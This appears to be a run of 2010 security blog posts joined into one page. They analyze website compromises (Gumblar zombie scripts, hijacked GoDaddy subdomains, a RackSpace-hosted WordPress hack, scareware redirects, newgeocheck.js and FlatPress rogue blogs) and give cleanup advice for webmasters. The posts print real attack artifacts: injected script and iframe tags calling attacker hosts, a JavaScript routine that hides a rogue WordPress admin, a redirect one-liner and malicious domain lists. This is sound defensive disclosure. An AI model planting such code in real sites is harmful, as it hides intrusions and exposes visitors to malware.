This week the list has reached the level of 1,000+ URLs. Although it’s just a small part of all Gumblar zombie scripts, this list makes a good base for a quick analysis of Gumblar zombie URLs.

What is a Gumblar zombie script?

On some compromised websites, Gumblar creates a new file with a .php extension. A link to this file is injected to other compromised sites.

<script src=hxxp://hacked-site.com/subdirectory/zombie-script.php ></script>

This script either tries to attack web surfers’ computer silently loading binary exploit files from the same zombie site, or load yet another zombie script from a third-party zombie site.

The zombie scripts are not linked to from any existing files on the same zombie site. Their are hidden somewhere in the directory structure and have names that look very trustworthy to site owners (they usually have a name of some existing legitimate file but with a .php extension). This is why webmasters of compromised sites (Gumblars zombies) are usually completely unaware of such scripts on their sites (and as a result they are usually puzzled over why Google has blacklisted their sites and says their sites host malicious content and infect other sites). Although my list is not complete, it helps webmasters locate zombie scripts on their sites.

And the below analysis of this list reveals interesting details both about the Gumblar attack and about its zombie URLs.

Analysis

I analyzed 1042 Gumblar zombie URL.

Top level domains

The attack affects sites all over the world. My list contains sites with 73 different top level domains. Of course, .com sites (as the most wide-spread) are the most affected.

------------------- Top 10 TLDs ---------------------
1 .com 452 43.4%
2 .net 77 7.4%
3 .ru 57 5.5%
4 .org 48 4.6%
5 .hu 37 3.6%
6 .de 32 3.1%
7 .in 25 2.4%
8 .pl 23 2.2%
9 .kr 23 2.2%
10 .ar 17 1.6%
: the rest 251 24.1%


File names

1042 URLs contain 749 unique filenames. As I already told you, the names are usually a combination of a name of some existing file and a .php extension. So no wonder, the most popular name of a zombie script is index.php. However, sometimes hackers use a filename (specific to the Gumblar attack) that doesn’t match any filenames of existing files – gifimg.php. It the the second most popular name of Gumblar zombie scripts.

---------------- Top 10 Filenames -------------------
1 index.php 73 7.0%
2 gifimg.php 55 5.3%
3 contact.php 13 1.2%
4 style.php 9 0.9%
5 error_log.php 8 0.8%
6 _vti_inf.php 8 0.8%
7 LICENSE.php 8 0.8%
8 favicon.php 7 0.7%
9 .ftpquota.php 7 0.7%
10 robots.php 7 0.7%
: the rest 847 81.3%

Directories

To make zombie scripts less prominent, hackers create them in subdirectories of hacked sites. In my list of 1042 URLs I found 562 unique paths (excluding filenames) to the rogue scripts. The most popular location of Gumblar zombie scripts is the /images directory (16.5%). It’s a very good location to hide malicious files — webmasters rarely check directories with image files when they are searching for something that can contain executable code. Moreover, if a file has some benign filename (e.g. gifimg) it can be easily overlooked. Other service directories (e.g. /cgi-bin, /_vti_bin, /css, /tmp, /js) are also among popular locations.

The tenth position is empty. This means that in less than 1% of cases the zombie script was found directly in the site root directory.

----------------- Top 10 directories ----------------
1 /images 172 16.5%
2 /cgi-bin 24 2.3%
3 /_vti_bin 21 2.0%
4 /css 18 1.7%
5 /img 15 1.4%
6 /tmp 13 1.2%
7 /wp-content 12 1.2%
8 /js 10 1.0%
9 /wp-admin 10 1.0%
10 9 0.9%
: the rest 738 70.8%


Subdirectory levels

In majority of cases (91.5%), zombie scripts can be found in a subdirectory one level deep. E.g. /images/zombie.php, /tmp/zombie.php, etc. However, sometimes their location is as deep as 3 levels from site root. E.g. /_flash/_notes/vz29/zombie.php. In nine cases (<1%), zombie scripts were found in a root directory (0 levels deep)
---------- Location relative to site root -----------
1 1 level deep 953 91.5%
2 2 levels deep 56 5.4%
3 3 levels deep 24 2.3%
4 0 levels deep 9 0.9%

Web servers

Gumblar uses stolen FTP credentials to break into web sites. This means that regardless of web server technology any site is potentially vulnerable to this sort of attack (as long as webmasters use FTP). My list of Gumblar zombie URLs provide enough evidence to prove this. You can find filenames and directories specific to different web server technologies.

For example:

• .htaccess.php files — Apache
• _vti_bin directories and _vti_inf.php files — sites powered by Microsoft technologies
• WEB-INF/classes/v7j/servertest.class.php — Tomcat

“s” directories

On many websites, next to a Gumblar zombie script there is a directory called s. It contains Gumblar service and log files. If you find it on your server, make sure to delete it.

Have your say

Did you notice any other interesting patterns in the list of Gumblar zombie URLs? Your comments are welcome!

Related posts:

• List of Gumblar Zombie URLs
• Revenge of Gumblar Zombies
• Gumblar .cn Exploit – 12 Facts About This Injected Script
• 10 FTP Clients Malware Steals Credentials From

In that article I wondered if that was a new trend (usage of virtually free hijacked subdomains) or just temporary approach that wouldn’t be used anywhere else. Well, this week I came across a different malware attack that also uses hijacked subdomains of legitimate websites.

The attack itself is nothing new. It uses stolen FTP credentials to inject malicious scripts into legitimate web pages. The injected scripts look like this:

<sc ript type="text/javascript" src="hxxp://oployau .fancountblogger .com:8080/YouTube.js"></sc ript>
<!--8469f3ebb36bebb12b39b0f9e7fe5933-->

The scripts reminds of many other attacks that used nginx reverse proxy on port 8080 on compromised servers (in this case this is true too).

Script names

I checked many infected sites and noticed that the injected scripts always used the same 5 subdomains and changed the file name part of the script from site to site. They always used Internet/computer related file names, e.g.: YouTube.js, Virtual_Reality.js, Backup.js, Unfriend.js, Keystroke.js, Access.js, Technology_Services.js, Page_View.js, Gigahertz.js, Telnet.js, Data_Type.js, Paste.js, Gnutella.js, Website.js, etc.

Hijacked subdomains

The 5 subdomains are (there may be more but I only seen these five):

• oployau .fancountblogger .com
• sorydory .russellhowe .com
• aospfpgy .dogplaystation .com
• kollinsoy .skyefenton .com
• temp .hbsouthmomsclub .com

Update: You can find many more hijacked subdomains in comments.

Each of them points to different IPs on different networks. And none of the IPs matches the IP (or even network) of their second-level domains.

All the second-level domains have been registered and now managed via GoDaddy. Some of them point to real legitimate websites and others are just parked domains.

It’s clear that hackers somehow gained access to those domains’ DNS management panel and created rogue DNS records for subdomains that legitimate domain owners cannot even imagine exist.

oployau.fancountblogger.com. 937 IN A 78.137.161.186
sorydory.russellhowe.com. 3530 IN A 88.198.25.170
aospfpgy.dogplaystation.com. 2792 IN A 216.154.216.15
kollinsoy.skyefenton.com. 399 IN A 194.150.236.199
temp.hbsouthmomsclub.com. 1116 IN A 81.89.109.23

This is the second attack in a short time that uses this approach to get free domain names to use in malware distribution. I guess, it is still to early to call this a trend, but it’s definitely something that we should keep an eye on.

To domain owners

When was the last time you checked DNS records of your domains? Are you sure there are no rogue subdomains that criminals use behind your back? Probably it’s time to check your domain settings now. But don’t forget about phishing attacks – make sure you are logging into a genuine site of your registrar. (Check GoDaddy’s security tips)

To webmasters

If you found one of the above scripts in your web pages (you can use Unmask Parasites to detect them) do the following:

1. Scan your computer for malware.
2. When you are sure it is clean, change all site passwords.
3. Don’t save new passwords in FTP clients (unless they provide a master key encryption)
4. If possible, use only secure file transfer protocols (e.g. SFTP or FTPS). Plain FTP is very insecure.
5. Remove the malicious scripts from files on server. Note, the scripts may also be injected into .js files. Sometimes hackers even create malicious .js files on compromised servers. If you don’t want to miss any infected files, consider removing everything and then restoring the site from a clean backup copy.
6. If your site is blacklisted by Google, you need to request a malware review via Google Webmaster Tools (Diagnostics -> Malware). You can read more about it in my guide.

Have your say

Do you know any other malware attacks that use hijacked subdomains of legitimate websites? Can we call this a new trend?

Related posts:

• Malware on Hijacked Subdomains. New Trend?
• 10 FTP Clients Malware Steals Credentials From
• Introduction to Website Parasites

Here’s the story

On Saturday, I received an email from one of Unmask Parasites users whose site had been blacklisted by Google.

He found a “fake admin” account in a WordPress control panel and a new file called “e.index”. And still he saw suspicious external scripts in his three blogs when he checked them in Unmask Parasites.

When I checked the sites, I found those scripts right after the first <div class=”entry”> tag on the index pages. Although they used different domains and subdomains, they looked pretty much the same:

1. <h5><script src=hxxp ://m808j .newsapis .us/js/jquery.min.js></script></h5>
2. <h5><script src=hxxp ://ee9kd .smartenergymodel .com/js/jquery.min.js></script></h5>
3. <h5><script src=hxxp ://w7c5lrhqu .newsapis .us/js/jquery.min.js></script></h5>

This is when I decided to investigate this case, and here is what I found…

Attack localization

1. I checked other sites on the same IP (64.49.219.218) and found many similarly hacked sites.

2. All hacked sites were WordPress blogs.

3. All versions of WordPress were affected (including the current stable version 2.9.2).

4. The IP belongs to RackSpace Cloud. When I checked WordPress blogs on neighbor RackSpace IPs, I found similarly hacked blogs on all of them in the range 64.49.219.194 – 252 and on 64.49.217.121. On RackSpace, sites are supposed to be stored in the cloud, so we can only guess how many physical servers those IPs refer to.

5. Majority of WordPress blogs seem to be affected. But not all. About 20% of checked blogs were free from the malicious scripts. Probably, some of them have been already cleaned up. Others are still waiting for their turn to be hacked (hackers could break into sites manually, one by one)

6. Many of the checked WordPress blogs also contain cloaked spammy links to pirated movies and software. This makes me think that hackers have been exploiting RackSpace Cloud servers for quite some time.

7. I couldn’t find any blogs affected by this attack on other networks. Most likely this attack is limited to certain RackSpace segments.

Details about the attack and speculations on its vector

I found an interesting thread on WordPress forum that says:

1. Hackers create a new admin user with username “amin” and name “…” (the name is three dots)

2. The hacked blogs are on RackSpace Cloud

3. Logs created by the “Admin Log” plugin show that this rogue “amin” user accessed blog and edited WordPress theme files.

4. Sometimes they inject base64-encode malicious iframes into theme files. They also create other encrypted files in various locations of the compromised sites. Some of them are PHP shells.

5. Moreover, the admin logs also show that the real name of that user is not “…“. In reality it contains many HTML tags and JavaScripts right after those three dots (they are stripped when WordPress displays the name on a web page).
...
<b id="user_superuser"><script language="JavaScript">
var setUserName = function(){
try{
var t=document.getElementById("user_superuser");
while(t.nodeName!="TR"){
t=t.parentNode;
};
t.parentNode.removeChild(t);
var tags = document.getElementsByTagName("H3");
var s = " shown below";
for (var i = 0; i < tags.length; i++) {
var t=tags[i].innerHTML;
var h=tags[i];
if(t.indexOf(s)>0){
s =(parseInt(t)-1)+s;
h.removeChild(h.firstChild);
t = document.createTextNode(s);
h.appendChild(t);
}
}
var arr=document.getElementsByTagName("ul");
for(var i in arr) if(arr[i].className=="subsubsub"){
var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
if(n!=null && n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
var n=/>Administrator <span>\((\d+)\)</gi.exec(arr[i].innerHTML);
if(n!=null && n[1]>0){
var txt=arr[i].innerHTML.replace(/>Administrator <span>\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
var n=/>All <span>\((\d+)\)</gi.exec(arr[i].innerHTML);
if(n!=null && n[1]>0){
var txt=arr[i].innerHTML.replace(/>All <span>\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<");
arr[i].innerHTML=txt;
}
}
}catch(e){};
};
addLoadEvent(setUserName);
</script>
If I’m not mistaken, this code should hide the rogue user in the WordPress control panel. However, in recent versions of WordPress, values from database are properly sanitized (all tags are simply removed) and this code has no chance to be executed in a browser.

I played with the name parameter and could only duplicate admin logs with HTML tags if I inject them directly into the “usermeta” table bypassing WordPress altogether. This means that hackers have direct access to WordPress databases on RackSpace servers.

6. Hackers also injected the above mentioned scripts into the database entry of the most recent posts.

7. One of the posts in that thread also suggests that the attack vector is a vulnerable version (2.11.3) of phpMyAdmin used by RackSpace Cloud. If this is true, hackers must have targeted an XSRF attack at one of RackSpace admins with mySql root permissions to gain access to the whole database (probably created one more admin user). At this point, RackSpace has upgraded their phpMyAdmin nodes. Hope, they also found any changes in the database done by those hackers.

More about the malicious scripts

In one of JSUnpack reports, I found a decoded script that mentions 5 domain names that hackers used in this attack.

var doms = ['smartenergymodel.com', 'googleapis.biz', 'newsapis.us',
'emapis.org', 'toolbarinc.com'];

Indeed, on all affected sites, I found external scripts from subdomains of these five sites.

That report from jsunpack also suggests that initially hackers used only 5 subdomains:

var preffs = ['scripts.', 'library.', 'ajax.', 'toolbar.', 'inc.', 'java.']

They made the injected scripts look trustworthy. Just compare a legitimate script of jQuery library provided by Google with one of the malicious variants used in this attack:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.1/jquery.min.js
hxxp://ajax.googleapis.biz/js/jquery.min.js

However, now hackers use random meaningless subdomain names and change them from site to site. (Examples: nk0x.googleapis .biz, c8lk .newsapis .us, u6j.toolbarinc .com, awcdxvs1d.smartenergymodel .com, s56yqv3h.emapis .org)

Four of these domain names have been created on May 10, 2010, and one (smartenergymodel .com) has been updated on the same date.

All these sites (and their subdomains) are hosted on several servers of C I Host (Tampa, Florida). Here are their DNS records:

newsapis.us. 3600 IN A 66.221.228.26
newsapis.us. 3600 IN A 64.182.83.130
newsapis.us. 3600 IN A 66.221.165.153
-------------------------------------------------------
googleapis.biz. 3600 IN A 66.221.234.209
googleapis.biz. 3600 IN A 66.221.165.155
googleapis.biz. 3600 IN A 64.182.83.129
-------------------------------------------------------
emapis.org. 3600 IN A 66.221.224.205
emapis.org. 3600 IN A 66.221.165.151
emapis.org. 3600 IN A 64.182.83.132
-------------------------------------------------------
toolbarinc.com. 3600 IN A 66.221.165.149
toolbarinc.com. 3600 IN A 64.182.83.134
toolbarinc.com. 3600 IN A 66.221.224.191
-------------------------------------------------------
smartenergymodel.com. 3600 IN A 66.221.231.251
smartenergymodel.com. 3600 IN A 66.221.165.147
smartenergymodel.com. 3600 IN A 64.182.83.136

Their subdomains are also configured as A records.

The scripts serve malicious content under certain conditions only. As a result, Google currently blacklists only two domains (newsapis.us and googleapis.biz) out of five.

To webmasters

In this case, it is clear that webmasters can’t permanently resolve the problem until RackSpace locates and closes the security hole in their infrastructure. However, you can mitigate the damages from this attack if you act fast.

If you have a WordPress blog on a RackSpace Cloud, make sure to thoroughly check your site. Start with an Unmask Parasites scan. It can reveal the malicious external scripts, iframes and cloaked spammy links in your web pages.

In this case, scan the index page of your blog as the malicious code is injected into the most recent (at the time of the attack) post. If you publish more than 5-10 posts a day, you might also want to scan a couple of pages of previous posts.

Note, that in case of found scripts from smartenergymodel .com, toolbarinc .com, and emapis .org – Unmask Parasites doesn’t mark them as suspicious (since they are not currently blacklisted by Google), so you should thoroughly look through reports even if Unmask Parasites says that your pages seem to be clean. Anything that you didn’t add to your site yourself should be considered as suspicious.

If your site is compromised you should:

1. Scan you server for suspicious files and directories. Pay a special attention to files that contain base64-encoded strings. They usually contain code that starts with eval(base64_decode(… If you have a fresh backup, consider removing everything and then restoring your site from a clean backup copy.
2. Check WordPress and theme files for integrity. If you are not sure, just upgrade WordPress (even if it is the latest version already) or re-upload a genuine version of the theme (get it from either WorPress theme repository or from its author’s site)
3. Now that your WordPress version is at least 2.9.2 (the stable version at the moment), log into your WordPress admin interface and check if there is a user with name amin. You should delete it. Then change passwords of existing WordPress users.
4. Then check the content of your recent posts. At the very top of affected records you’ll see a malicious script inside <h5>..</h5> tags. You should remove such scripts. Please use something like NoScript in your browser so that those script don’t have a chance to get executed. Or use something like phpMyAdmin to check and clean the values of the “post_content” field in the mySql table “<your-prefix>_posts“.
   If you didn’t publish new articles during the last couple of weeks and have a fresh backup of the WordPress database, the easiest way to clean up your database is to restore a clean copy from a backup.
5. Now consider changing mySql passwords. Just in case.
6. Check your site every day. At least for a week. I’ve seen websites that had been cleaned up only to be reinfected a few hours later.
7. Regularly check RackSpace system status. They may post important updates there.

Update (June 15, 2010): Michael VanDeMar noticed that hackers also inject an encrypted backdoor PHP script into “wp_options” table. Among other things, it allows to modify WordPress database and inject spammy links into blog pages. For details on how to find the malicious DB entry please read his artcile.

On my side, I’ll send everything I know about this issue to security department of RackSpace. Hope they’ll be able to address this issue ASAP.

Your comments are welcome!

Do you have any additional information about this attack? I encourage you to take part in the discussion in comments.

Similar posts:

• Network Solutions and WordPress Security Flaw
• Hackers Abuse Servage Hosting to Poison Google Image Search
• Introduction to Website Parasites

The attack creates/modifies .htaccess files to redirect site visitors that come from major search engines and popular websites (e.g. Twitter, Facebook, Wikipedia, Flickr, Ebay, etc) to scareware sites that aggressively push fake anti-virus software. The redirects also occur if visitors request unexisting pages or pages that produce server errors.

This .htaccess conditional redirect approach is nothing new. It has been actively exploited by hackers for at least couple of years (and Unmask Parasites does a good job of detecting such redirects). And while the .htaccess code in this particular case has some new features (maybe more about it next time), it isn’t the most interesting thing about this attack.

Suspicious subdomains

Thanks to the Google search suggested by Patrick (“main.php?e=4&h”) I was able to analyze the .htaccess code from multiple compromised sites. They all redirected to different scareware sites, but all those sites had similarly strange subdomains: www2, dns, ns1, ns2.

Here’s a list of 12 such sites that I found:

• www2.smoothsouthernsoulandblues .com
• dns.thesoulfoodcafe .com
• ns2.landmarkengineering .net
• ns2.lighthouseusa .net
• ns1.ptrtool .com
• ns2.doballoons .com
• ns1.vimoka .net
• ns2.vimoksha .org
• www2.shopezlive .com
• ns1.asmartmovehi .com
• ns1.chestermoon .com
• ns2.moonlightingelectric .com
• ns.southernsoulnetwork .com (added on May 23, 2010)
• ns2.sxm22 .com (added on May 24, 2010)
• my.layouts2go .com  at 95.211.131.185 (added on May 24, 2010)
• ww.vailconstruction.net at 95.211.131.185 (added on May 27, 2010)
• www2.dsc-show .com (added on June 1, 2010)
• wwww.natebennettfleming .com (added on June 1, 2010)
• wwww.artsrental .in (added on June 22, 2010)
• wwww.causeof .org (added on June 22, 2010)
• ns2.tiredwolfhome .com (added on June 22, 2010)
• wiki.nahorodny .com (added on July 9, 2010)
• wwww.artrentals .in (added on July 14, 2010)
• top.reliablebanner.com (added on July 22, 2010)
• wiki.electnate.com (added on July 22, 2010)

This is definitely just a tip of an iceberg (something that has been posted by webmasters who care to share information about their problems during the last week) and there may be much more such sites.

All these subdomains point to the same IP: 195 .2 .253 .42 (Madet Ltd, Russia). At the same time the main (second level) domains point to absolutely different IPs. Some of them are legitimate websites and some are just parked domains.

DNS lookup: rogue A records

The dig command shows that those subdomains are configured as A records in domains’ DNS settings.

For example, let’s take the parked lighthouseusa.net domain. It’s A record point to GoDaddy’s parking service:

lighthouseusa.net. 3600 IN A 68.178.232.100

but if you dig the ns2.lighthouseusa .net subdomain, you’ll see another A record:

ns2.lighthouseusa.net. 1800 IN A 195.2.253.42

This means that hackers have access to and can modify DNS records of those second level domains.

Stolen GoDaddy accounts

Apparently, all those second level domains are registered via GoDaddy and use GoDaddy’s name servers.

They belong to different people, but some of them have the same owner (e.g smoothsouthernsoulandblues.com and thesoulfoodcafe.com, or vimoka.net and vimoksha.org). This makes me think that hackers used stolen credentials from GoDaddy accounts.

Phishing or malware?

Most likely the credentials theft was a result of a phishing attack. If you google for GoDaddy phishing you will see a lot of messages about emails “from GoDaddy” that ask you to change/update some records and point to phishing pages that look exactly like GoDaddy.com.

Alternatively, hackers could use malware (keyloggers or browser add-ons) that steal credentials when people log into their GoDaddy accounts from infected computers.

Is it a trend?

It is clear that hackers have figured out that subdomains of legitimate websites is an almost infinite source of free domain names for their attack sites. With access to DNS settings, they can create arbitrary sub-domains that point to their own servers. Such subdomains can hardly be noticed by domain owners who rarely check their DNS records after the initial domain configuration. And they cost nothing to hackers.

I wonder if using hijacked subdomains of legitimate websites is a new trend in malware distribution or just a temporarily solution that won’t be widely adopted by cybercriminals in the long run(like dynamic DNS domains last September).

To domain owners

At this point, domain owners should be aware of this problem and be serious about protecting their account credentials.

Don’t trust emails that ask you to change/confirm account information. Always double check that they are genuine and lead to genuine websites. Also make sure that your computers are malware free.

To be on the safe side, check DNS settings of your domains for rogue records and change your account password.

Have your say

What do you think about serving malware from hijacked subdomains of legitimated websites? Is this approach viable? Do you know any other attacks that involve hacked DNS records? Maybe you have details about this particular attack?

Your comments are welcome.

Related posts:

• Malware on Hijacked Subdomains. Part 2.
• Dynamic DNS and Botnet of Zombie Web Servers
• Bogus Antivirus 2009 .htaccess Exploit
• Introduction to Website Parasites

Malicious software is hosted on 1 domain(s), including addthiss .net/.

Unmask Parasites didn’t detect anything suspicious but a quick manual check revealed the following script tag right after the <body> tag in every web page:

<sc ript type="text/javascript" src="newgeocheck.js"></script>

(Unmask Parasites doesn’t check .js file, so no wonder it couldn’t detect the source of the problem)

This script loaded an invisible iframe form addthiss .net.

<i frame width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" style="" src="hxxp://addthiss .net/ in.cgi?8"></iframe>

Here goes the real investigation…

The newgeocheck.js file looked strange. Hackers usually inject their malicious code into legitimate .js files or create their own .js files. However, in this case the file content looked like a code of some legitimate JS library (that called itself GeoChecker 2.0.1 ) with meaningful comments and variable names and at the same time it was 100% malicious.

// GeoChecker 2.0.1
// The current cookie code should be called first to ensure
// that it takes precedence over any other logic
var geocheck = true;
// assumes that the language is based on the Language Tags specification standard RFC2616 from W3C
// language-tag = primary-tag '-' sub-tag (e.g. en-US)
// primary-tag is an ISO-639 language abbreviation, sub-tag is an ISO-3166 country code
var secureNewgeoB;if(secureNewgeoB!='' && secureNewgeoB!='mIR'){secureNewgeoB='fKDE'};this.zAP=30722; ...

Well, I was puzzled and decided to check if there was a real JS library that uses a file with name newgeocheck.js. The results of the search contained only posts about similar hacks and … directory listings of improperly configured web sites.

Here’s the search that narrows down the results to hacked websites that allow directory listing (which is actually a security breach too) intitle:”Index of” newgeocheck.js (be careful, the sites can still be dangerous).

These search results helped me learn more about the attack.

Spread of the attack.

The search currently returns 500+ search results. At the same time Google Safe Browsing diagnostic page for addthiss .net reports 732 infected domains. Given that only about 40% of the sites in those search result are currently blacklisted and that the search only returned mis-configured sites, I can safely estimate that there are at least a couple of thousand infected domains. Maybe significantly more.

Dates

Many web servers are configured to display file dates on directory listing pages. Those dates for the newgeocheck.js file show that all site have been infected in the period between the end of March and the middle of this April.

Moreover, there seems to have been two waves of the attack. One around March 24-26, and the other around April 12-13 (Some search results show the March dates (cached), but when you visit the pages you see the April date).

Existing JS files

Directory listings also show that other .js files (those that existed before the attack) are also infected with the modification of the same obfuscated script. The scripts are injected at the very bottom of .js files and usually end with a comment like this //secured_20022002 (the number may be different)

Speculation about the attack vector

This is definitely not a vulnerability of some popular web application. The affected site are powered by various CMS’s and blog engines. Some websites are completely empty – you can see a lonely newgeocheck.js in an empty root directory.

At the same time this is not a server-wide or network-wide attack. The compromised sites are spread across many different IPs and networks.

On some sites I detected signs of other attacks that are known for using stolen FTP credentials (e.g. Gumblar).

I also noticed that several sites of the same owner may be infected. This usually happens when hackers use site credentials stolen from webmasters’ computers.

And while I don’t have any direct evidence (remember, I don’t have access to compromised sites and their logs), I’m almost sure that this attack used the FTP infection vector.

CountInfo .com

On some sites I found a modification of the “addthiss .net” attack. It doesn’t use the newgeocheck.js file and only injects a malicious script at the very bottom of existing .js files. The script loads the following invisible iframe from countinfo .com

<ifr ame width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" style="" src="hxxp://countinfo .com/ in.cgi?3"></ifr ame>

Both addthiss .net and countinfo .com domains point to the same IP: 109 .196 .143 .33 (VLine Ltd, Moscow).

Reverse IP lookup also revealed some alternative domain name: addthiss .cn, addthiss .com and addthiss .org – these domains are also know for distributing malware.

To webmasters

If Google blacklists your site and the diagnostic page mentions addthiss .net, you should scan your site for

• newgeocheck.js files in all directories (and remove them)
• malicious code in your existing .js files (and remove it)
• <s cript type=”text/javascript” src=”newgeocheck.js”></script> string in your web pages (and remove it)

If you find the newgeocheck.js on you server – your site have been attacked and your FTP credentials have been stolen.

Start with you own computer. Thoroughly scan it for malware. Then change all site passwords and keep them secure (don’t save them in your FTP programs).

The next step is cleaning up your site. Usually the easiest way to do it is to remove everything and then restore the site from a fresh clean backup copy. This way you don’t have to process each file individually and won’t omit any malicious code on your server.

When the site is clean, you might need (if it is blacklisted by Google) to request a malware review via Google Webmaster Tools (Diagnostics -> Malware). You can find more information about how to deal with Google malware warnings here.

Have Your Say

If you know more about this attack, please share the details in the comments. Maybe you know other attacks that create .js file that mimic legitimate JavaScript libraries?

Your comments are welcome.

[Offtopic] This is my 100th post on this blog!

Related posts:

• 10 FTP Clients Malware Steals Credentials From
• Revenge of Gumblar Zombies
• From Hidden Iframes to Obfuscated Scripts
• Introduction to Website Parasites

• Hackers Abuse Servage Hosting to Poison Google Image Search (April 28, 2010)
• Internals of Rogue Blogs (March 17, 2010)
• Rogue blogs redirect search traffic to bogus AV sites. Part 2 (November 27, 2009)
• Rogue blogs regirect search traffic to bogus AV sites. Part 1 (November 26, 2009)

In this post, I’ll describe how the new generation of rogue blogs works.

Some history

Hackers exploited some security hole of the Servage hosting provider and created rogue blogs deep in the directory structure of thousands legitimate websites of Servage clients. Depending on the generation of the attack, hackers used the same names for blog subdirectories: blog, bmblog, bsblog, bmsblog, mdblog.

Examples:

example.com/proofs/tpl/mdblog
example.org/img/images/bmblog
example.net/gallery/albums/bsblog

However, when security researchers found and described this malicious network of blogs, Google started to actively remove them from their index. For example, the allinurl:bmblog/category search returned almost 300,000 results in November and today it only returns 6 results.

In November of 2009, cybercrooks began to unroll the new type of spammy blogs that will be described here.

Hotlinking and keyword stuffing

The blog posts hotlink 6-10 high-ranking images for a targeted query.  The images are interspersed with short word combinations that contain the targeted keyword. Each word combination is wrapped in different HTML tags (supposedly, to make the keyword stuffing less obvious). Here is a short snippet of HTML for a page that target word combinations with “Houston”:

...<p><img src="http://somesite.com/Detoxy_Foot_pads/detox_foot_pads_box.jpg" alt="houston tx band trade shows"/></p>
<p><b>Private Schools Houston</b>. <u>Ariel Photo Houston</u>. <u>Wedding Photography Houston Texas</u>. Houston Gun Shows.</p>
<p><img src="http://anothersite.com/myspace/ricksnycann_back.jpg" alt="houston texans cheerleaders"/></p>
<ul>
<li>Houston Movie Theatres</li>
<li><b>Hard Rock Cafe Houston</b></li>
<li><u>Wife Swapping Houston</u></li>
</ul>...

Apparently, this trick works. Somehow, these crappy blogs with zero original content and no inbound links make it into the first pages of Google image search results, prevail there (sometimes, up to 100% positions) crowding out previously high-ranking sites with the original content.  (@Google: I hope you are already working on the Image search update that addresses this issue.)

FlatPress blogging engine

In this generation of the attack, they changed the blogging engine. The new blogs are powered by FlatPress 0.909.

Here’s the description of this engine that I found on its site:

FlatPress is an open-source standard-compliant multi-lingual extensible blogging engine which does not require a DataBase Management System to work.
You don’t need MySQL because FlatPress stores all of its content on text files.
All you need is some web space supporting PHP4 (or later).

• Standard-compliant (XHTML valid)
• Plugin support
• Widget system
• Easy to customize with themes (powered by Smarty)

This is a more powerful and flexible engine that (as the previous engine) doesn’t require database and thus is very easy to configure and can be installed on almost any hosting with PHP support. At the same time it supports SEO-friendly URLs (pretty urls) and custom themes, that make different blogs look different (and less suspicious).

URL structure

These new blogs are installed the first level subdirectories of legitimate sites. The names of the subdirectories consists of some word (usually a human name) and some 4-5 digit number (this number seems to be unique throughout all the rogue blogs).

example.com/sarah5689/
example.net/learn2463/
example.org/gulf4645/

Sometimes there may be more that one rogue blog installed into different subdirectories of the same site.

Since the blogs are powered by FlatPress, they all have FlatPress specific URL structure, which made it easy to come up with allinurl: Google searches that helped reveal thousands of such malicious blogs.

Individual posts have the following URL structure:

/?x=entry:entryYYMMDD-HHMMSS, where YYMMDD-HHMMSS is the date and the time of the post.

for example: /after6031/?x=entry:entry100405-151819 – this post was published on April 5, 2010 at 15:18.

The blogs also have archive pages, that list all posts (4-5 posts per page) for specified periods. They have the following URL structure:

/?x=y:YY;m:MM – archive of posts published in MM month of YY year.

for example:

/?x=y:09;m:12 – archive of posts published in December of 2009
/?x=y:10;m:04 – archive of posts published in April of 2010

To access some particular archive page, we add the &paged parameter

/?x=y:10;m:04&paged=2 – the second page of the archive of posts published in April of 2010

Redirects to Fake AV sites

Each blog page (except for “login” pages) contains a block of HTML code with malicious scripts (this time it is not even hidden from search engine bots)

<!-- HippoCounter -->
<script type="text/javascript">
var kc_id = '32';
</script>
<script type="text/javascript" src="hxxp://hippocounter .info/counter/counter.js"></script>
<!-- HippoCounter -->
<script type="text/javascript" src="hxxp://adstatsviewer .in/counter.js?ad=1"></script>

The first one (hippocounter) seems to be a real statistics script. However it’s a hackers’ own statistics on their own server. It has an alternative domain name hippocounter .com that was created on January 11, 20100. But when Google had blacklisted the .com domain hackers’ registered the .info domain (March 3, 2010) and used it since then. Both domains point at the same site on server with IP 96 .9 .177 .21 (Pennsylvania – Scranton – Network Operations Center Inc).

The second script from the .in domain is the one that actually redirects visitors to scareware sites.

if (document.referrer.length > 0) {top.location.href='http://91.188.59.166/main.php?land=20&affid=95200'}

Latvian AS6851 (BKCNET) network

The IP address in the malicious URL changes almost every day: 91.188.59.167, 91.188.60.63, 91.188.60.63, 91.188.60.65, 91.188.60.69 etc. but they all belong to the AS6851 (BKCNET) network. This network is a known source of multiple malware attacks: malwareUrl report, Google’s Safe Browsing report.

This network is identified as Latvia Riga Docsis Ip Pool For Cable Customers. This means that most likely the IPs belong to regular users of a cable Internet Service Provider in Latvia. Moreover, the IPs are dynamically assigned from a pool of available IPs – that’s probably why hackers change them in the redirection script.

I wonder what prevents the police to catch the hackers? With cable ISPs, the physical location of the client IPs should be easily traceable. Or am I too naive?

Malicious .in domains

Let’s get back to that malicious external script found in the rogue blogs. To prevent blacklisting, hackers register new domains almost every day. They are all .in domains and they point to 5 servers on the AS47869 (NETROUTING – Netherlands) network.

94.228.220.93:
dahaloho .in, kanakaba .in, hachapurnja .in, lahhangar .in, emonabin .in,
opnalona .in, gamrin .in, loomoom .in, galorobap .in, oppp .in, polofogoma .in,
jajabin .in
94.228.220.95:
ownfoxdomains.in
94.228.209.133
newstatsgate .in, ownsitecounter .in, gettruecount .in, ownfreestats .in,
celebsfinectpics .in, getstatsview .in
94.228.209.134
ownviewpoint .in, ownuniqchecker .in, getpiccount .in, checkpicstats .in,
getuniqinfo .in, checkvisits .in, owncheckuniq .in
94.228.209.136
adstatsviewer .in, newpeoplecheck .in, adinfoblock .in, getcounters .in,
adchecker .in, getfreestats .in, blogpics3 .in, newpicstats .in, getuniqchecker .in,
ownlaststats .in

Among them, there are two specialized domains: celebsfinectpics .in is used exclusively in celebsfinectpics.com sites (also 94.228.209.133) and blogpics3 .in is used in the malicious Blogger blogs.

Google Tips

When hackers create rogue content on your site in order to poison search engine results, you can use search engine to discover such a content.

